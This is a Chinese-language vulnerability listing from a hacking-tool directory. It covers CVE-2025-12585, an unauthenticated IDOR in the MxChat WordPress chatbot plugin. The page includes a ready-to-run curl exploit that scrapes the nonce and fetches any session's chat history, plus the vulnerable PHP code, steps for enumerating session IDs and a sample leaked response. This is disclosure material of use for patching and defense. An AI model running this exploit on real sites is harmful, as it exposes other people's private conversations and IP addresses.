Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2025-12585 — MxChat – WordPress 的 AI 聊天机器人 <= 2.5.1 - 未认证信息泄露 | Kitploit
工具/GitHubGitHub/d0n601/cve-2025-12585
漏洞分析Web应用程序漏洞利用数据泄露信息收集
GitHubd0n601/cve-2025-12585

CVE-2025-12585

MxChat – WordPress 的 AI 聊天机器人 <= 2.5.1 - 未认证信息泄露

查看仓库
9个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

MxChat Basic <= 2.5.1 - MxChat – AI Chatbot for WordPress <= 2.5.1 - 未认证信息暴露

MxChat Basic 插件未在 mxchat_fetch_conversation_history AJAX 端点中验证会话所有权,导致未认证用户可通过不安全直接对象引用(IDOR)漏洞访问其他用户的对话历史和 IP 地址。

快速利用

root@kitploit:~
TARGET_SITE="http://example.com"
SESSION_ID="mxchat_chat_7jxi3jsdb"
NONCE=$(curl -s $TARGET_SITE | grep -oP 'nonce["\047]:\s*["\047]\K[^"\047]+' | head -1)
curl -X POST $TARGET_SITE/wp-admin/admin-ajax.php \
  -d "action=mxchat_fetch_conversation_history" \
  -d "session_id=$SESSION_ID" \
  -d "nonce=$NONCE" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "X-Requested-With: XMLHttpRequest" | jq

详情

位于 /includes/class-mxchat-integrator.php 文件中的 mxchat_fetch_conversation_history() 函数仅根据客户端提供的 session_id 检索对话数据,而未验证请求者是否拥有该会话。这使得任何持有有效 nonce(可通过前端 JavaScript 获取)的未认证用户都能访问其他用户的私有对话数据。此外,对话历史中存储的用户 IP 地址位于 agent_name 字段中,会随对话数据一起被披露。

IP 地址披露发生在消息存储过程中:

位于 class-mxchat-integrator.php 中:

root@kitploit:~
361    // 4) Determine user_identifier
362    $user_identifier = $agent_name
363        ? $agent_name
364        : MxChat_User::mxchat_get_user_identifier();

其中 MxChat_User::mxchat_get_user_identifier() 对未认证用户返回其 IP 地址:

root@kitploit:~
9    public static function mxchat_get_user_identifier() {
10        if (is_user_logged_in()) {
11            $current_user = wp_get_current_user();
12            return $current_user->user_login;
13        } else {
14            return sanitize_text_field($_SERVER['REMOTE_ADDR']); // IP address disclosed
15        }
16    }

该 IP 地址随后作为 agent_name 存储在对话历史中,并在检索对话数据时被暴露。

文件上传中的会话 ID 泄露

会话 ID 直接嵌入到上传的文件名中。当用户通过聊天界面上传 PDF 或 Word 文档时,文件会以可预测的命名模式保存:mxchat_{session_id}_{timestamp}.pdf 和 mxchat_word_{session_id}_{timestamp}.docx。这使得会话 ID 可通过多种攻击向量被发现:如果服务器在上传目录启用了目录索引,则可通过目录列表获取;可访问 WordPress 媒体库;可能被搜索引擎收录等。

来自 class-mxchat-integrator.php 的易受攻击代码片段:

root@kitploit:~
107 function mxchat_fetch_conversation_history() {
108     if (empty($_POST['session_id'])) {
109         wp_send_json_error(['message' => esc_html__('Session ID missing.', 'mxchat')]);
110         wp_die();
111     }
112 
113     $session_id = sanitize_text_field($_POST['session_id']);
114     $history = get_option("mxchat_history_{$session_id}", []); // Direct access without ownership check
115     $chat_mode = get_option("mxchat_mode_{$session_id}", 'ai');
116 
117     if (empty($history)) {
118         wp_send_json_success([
119             'conversation' => [],
120             'chat_mode' => $chat_mode
121         ]);
122         wp_die();
123     }
124 
125     wp_send_json_success([
126         'conversation' => $history,
127         'chat_mode' => $chat_mode
128     ]);
129     wp_die();
130 }

手动复现

  1. 导航到目标 WordPress 站点的任意页面,并从页面源代码中提取 mxchat_chat_nonce。该 nonce 会在前端 JavaScript 中作为 mxchatChat.nonce 暴露,所有访客均可获取。

  2. 识别会话 ID(格式:mxchat_chat_{9 个字母数字字符})。如果启用了目录列表或媒体库访问,可通过上传的文件名发现会话 ID,也可以通过尝试连续模式或常见值进行枚举。

  3. 执行以下 curl 命令以检索任意会话的对话历史:

root@kitploit:~
curl -X POST http://example.com/wp-admin/admin-ajax.php \
  -d "action=mxchat_fetch_conversation_history" \
  -d "session_id=mxchat_chat_7jxi3jsdb" \
  -d "nonce=YOUR_NONCE_HERE" \
  -H "Content-Type: application/x-www-form-urlencoded" \
  -H "X-Requested-With: XMLHttpRequest"
  1. 您将收到一个 JSON 响应,其中包含完整的对话历史,包括所有用户消息、机器人回复、时间戳、用户 IP 地址和会话元数据:
root@kitploit:~
{
  "success": true,
  "data": {
    "conversation": [
      {
        "id": "6903e8a1e195e",
        "role": "user",
        "content": "I'm wondering if you can tell me about what website I am on?",
        "timestamp": 1761863841925,
        "agent_name": "IP.REDACTED"
      },
      {
        "id": "6903e8a33c86a",
        "role": "user",
        "content": "I'm wondering if you can tell me about what website I am on?",
        "timestamp": 1761863843248,
        "agent_name": "IP.REDACTED"
      }
    ],
    "chat_mode": "ai"
  }
}

agent_name 字段包含未认证用户的 IP 地址($_SERVER['REMOTE_ADDR']),该地址会随对话数据一起被披露。

下载工具